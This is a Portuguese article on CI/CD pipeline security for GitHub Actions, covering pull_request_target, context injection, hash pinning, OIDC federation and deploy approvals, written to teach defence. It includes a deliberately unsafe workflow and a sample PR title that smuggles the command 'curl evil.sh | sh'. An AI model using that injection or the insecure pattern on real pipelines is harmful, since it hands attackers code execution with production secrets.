Pense em quem tem mais poder na sua empresa.
Não é o admin da nuvem. É o pipeline: ele lê todo o código, guarda as credenciais de produção, constrói o artefato que vai pro ar e tem permissão pra fazer o deploy sozinho.
E, diferente da aplicação, ele quase nunca é revisado com olhar de segurança. O arquivo de workflow entra em PR e todo mundo aprova sem ler, porque é “configuração”.
O ataque mais fácil: PR de fora
Se o repositório é público ou aceita contribuição, pull_request_target é a armadilha clássica.
Ele existe pra dar acesso a segredo em PR de fork, e roda o workflow no contexto do repositório base com o código do fork. Qualquer pessoa abre um PR alterando um script que o pipeline executa, e o script roda com os seus segredos.
# perigoso: código de terceiro com acesso a segredo
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # código não confiável
- run: pnpm install && pnpm test # executa com segredos
A regra: workflow que roda código de PR não confiável não pode ter acesso a segredo. Use pull_request normal, sem segredo, e faça o que precisa de credencial num workflow separado, disparado depois da revisão humana.
Injeção via contexto
Essa surpreende quase todo mundo.
- run: echo "PR: ${{ github.event.pull_request.title }}"
O título do PR é controlado por quem abre. A expressão é interpolada como texto antes do shell executar. Um título com "; curl evil.sh | sh; # executa.
O mesmo vale pra nome de branch, corpo de issue, mensagem de commit e nome de autor.
A correção é passar por variável de ambiente, onde o shell trata como dado:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "PR: $TITLE"
Fixe as ações por hash
- uses: actions/checkout@v4 # tag, mutável
- uses: actions/checkout@8f4b7f8... # commit, imutável
Tag é um ponteiro. Quem controla o repositório da ação pode movê-la pra outro commit, e a sua próxima execução roda código diferente sem nenhuma mudança do seu lado.
Já aconteceu com ação popular. Fixar por hash de commit e deixar o Renovate atualizar com PR é a prática que fecha isso, e ela também é auditável: dá pra saber exatamente o que rodou em cada build.
Vale o mesmo pra imagem base de container. node:20-alpine hoje e daqui a seis meses são coisas diferentes.
Credencial de longa duração é o problema
Chave de acesso da nuvem guardada como segredo do repositório é a configuração mais comum e a pior.
Ela não expira, funciona de qualquer lugar, e quem conseguir extrair uma vez tem acesso permanente.
A substituição é federação de identidade: o provedor de CI emite um token de curta duração, a nuvem valida a origem e devolve credencial temporária.
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@<hash>
with:
role-to-assume: arn:aws:iam::123456789012:role/deploy
aws-region: us-east-1
Nenhum segredo guardado. A credencial vale minutos e só funciona a partir daquele repositório e daquele branch, se a política de confiança estiver bem escrita.
O detalhe que estraga: uma política de confiança com repo:empresa/*:* permite que qualquer repositório e qualquer branch da organização assuma aquele papel. Restrinja ao repositório e ao ambiente específicos.
Permissão mínima no token do próprio CI
O token do workflow costuma vir com permissão de escrita por padrão.
permissions:
contents: read # padrão restritivo no topo
E amplie só no job que precisa. Um workflow de teste não precisa poder escrever no repositório, e um comprometimento nele deixa de virar commit malicioso.
Separe construir de implantar
O job que constrói executa código de terceiro: dependências, scripts de build, ferramentas. Ele é o mais exposto.
O job que implanta tem as credenciais de produção. Ele deveria executar o mínimo possível.
Juntar os dois significa que qualquer dependência comprometida no build alcança produção. Escrevi sobre o vetor de dependência em ataque via dependência.
A separação: build produz um artefato assinado, com SBOM. Deploy consome o artefato pelo hash, sem instalar nada.
Ambiente com aprovação
Deploy em produção deve exigir aprovação humana, e isso é configuração, não combinado.
jobs:
deploy-prod:
environment:
name: production # exige revisor configurado
Isso também é o que impede que um comprometimento do pipeline vire deploy imediato. Existe uma pessoa no caminho.
O que auditar hoje
Uma passada de trinta minutos que costuma render:
Existe algum pull_request_target com checkout do código do PR? Alguma interpolação de github.event dentro de run? Alguma ação referenciada por tag em vez de hash? Alguma credencial de longa duração nos segredos? O token do workflow tem escrita por padrão? O deploy de produção tem aprovação?
Cada resposta ruim é um caminho direto pra produção, e nenhum deles aparece em teste de invasão de aplicação, porque o pentest olha o sistema, não o pipeline.